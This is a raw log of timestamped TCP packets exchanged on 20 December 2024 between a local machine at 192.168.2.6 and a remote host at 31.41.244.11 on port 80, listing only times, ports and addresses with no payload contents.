Dec 20, 2024 21:13:27.933020115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.933936119 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.933995008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.934031010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.934228897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.935142040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.935197115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.935231924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.935280085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.936301947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.936414957 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.936424971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.936517000 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.937473059 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.937558889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.937578917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.937747955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.938613892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.938669920 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.938735962 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.938905954 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.939841986 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.939920902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.939939022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.940046072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.940978050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.941103935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.941126108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.941165924 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.942157984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.942255020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.942291021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.942342043 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.943355083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.943423986 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.943432093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.943483114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.944528103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.944586992 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.944622040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.944828987 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.945683002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.945765018 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.945796013 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.945899963 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.946892023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.946945906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.947050095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.947134018 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.948064089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.948141098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.948164940 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.948230028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.949251890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.949286938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.949364901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.949481964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.950388908 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.950448990 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.950526953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.950568914 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.951785088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.951910019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.951942921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.952038050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.952794075 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.952888966 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.952905893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.952931881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.953932047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.954004049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.954035044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.954161882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.955131054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.955205917 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.955255032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.955355883 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.956325054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.956382036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.956444025 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.956536055 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.957487106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.957535982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.957564116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.957639933 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.958679914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.958739042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.958775997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.958914995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.959939957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.959994078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.960268974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.960376024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.961256027 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.961378098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.961404085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.961438894 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.962440968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.962538958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.962613106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.962671995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.963792086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.963871956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.963932991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.964195967 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.964915991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.964984894 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.965101004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.965250969 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.966098070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.966190100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.966191053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.966355085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.967250109 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.967310905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.967353106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.967395067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.968175888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.968235016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.968276978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.968492031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.969259024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.969319105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.969389915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.969479084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.970452070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.970511913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.970527887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.970603943 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.971605062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.971708059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.971740007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.971882105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.972776890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.972865105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.972899914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.972981930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.973978043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.974047899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.974052906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.974128008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.975131989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.975188971 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.975214005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.975286961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.976317883 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.976402998 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.976409912 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.976476908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.977422953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.977480888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.108236074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.108315945 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.108345032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.108534098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.108638048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.108710051 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.108731985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.108766079 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.109803915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.109935045 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.109950066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.110018969 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.111001968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.111077070 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.111094952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.111140966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.112111092 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.112164974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.112252951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.112472057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.113281965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.113329887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.113414049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.113563061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.114518881 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.114603043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.114631891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.114631891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.115696907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.115741968 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.115778923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.115842104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.116918087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.117100000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.117155075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.117249966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.118055105 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.118243933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.118251085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.118469954 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.119213104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.119288921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.119326115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.119460106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.120387077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.120444059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.120513916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.120599985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.121537924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.121680975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.121701956 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.121932030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.122740984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.122800112 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.122859001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.122898102 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.123913050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.124013901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.124013901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.124308109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.125088930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.125147104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.125180006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.125236034 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.126235962 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.126302958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.126540899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.126636028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.127450943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.127556086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.127594948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.127652884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.128577948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.128631115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.128753901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.128889084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.129833937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.129916906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.130352020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.130547047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.130975962 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.131043911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.131175995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.131244898 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.132117987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.132240057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.132278919 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.132420063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.133315086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.133479118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.133480072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.133563042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.134505033 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.134574890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.134644985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.135636091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.135730982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.135745049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.135816097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.136826038 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.136897087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.136940956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.138077974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.138158083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.138163090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.138401985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.139194965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.139339924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.139348984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.139494896 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.140355110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.140435934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.140454054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.140508890 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.141557932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.141668081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.141678095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.141712904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.142757893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.142903090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.142968893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.143114090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.143989086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.144117117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.144195080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.145056963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.145133972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.145215034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.145271063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.146373987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.146497965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.146518946 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.146704912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.147680998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.147769928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.147800922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.148092031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.148900032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.148977995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.149056911 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.149104118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.149909019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.149971008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.150060892 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.150060892 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.150948048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.151007891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.151153088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.151249886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.152199030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.152309895 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.152321100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.152399063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.153321981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.153388023 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.153431892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.153542995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.154541969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.154613972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.154623985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.154710054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.155785084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.155951023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.156457901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.156955957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.157023907 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.157259941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.157330990 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.158088923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.158193111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.158210993 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.158392906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.159230947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.159341097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.159343004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.159425020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.160569906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.160640955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.160645008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.160748005 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.161674976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.161809921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.161812067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.161973953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.162750006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.162837029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:28.162924051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.162924051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:28.163893938 CET	80	49887	31.41.244.11	192.168.2.6
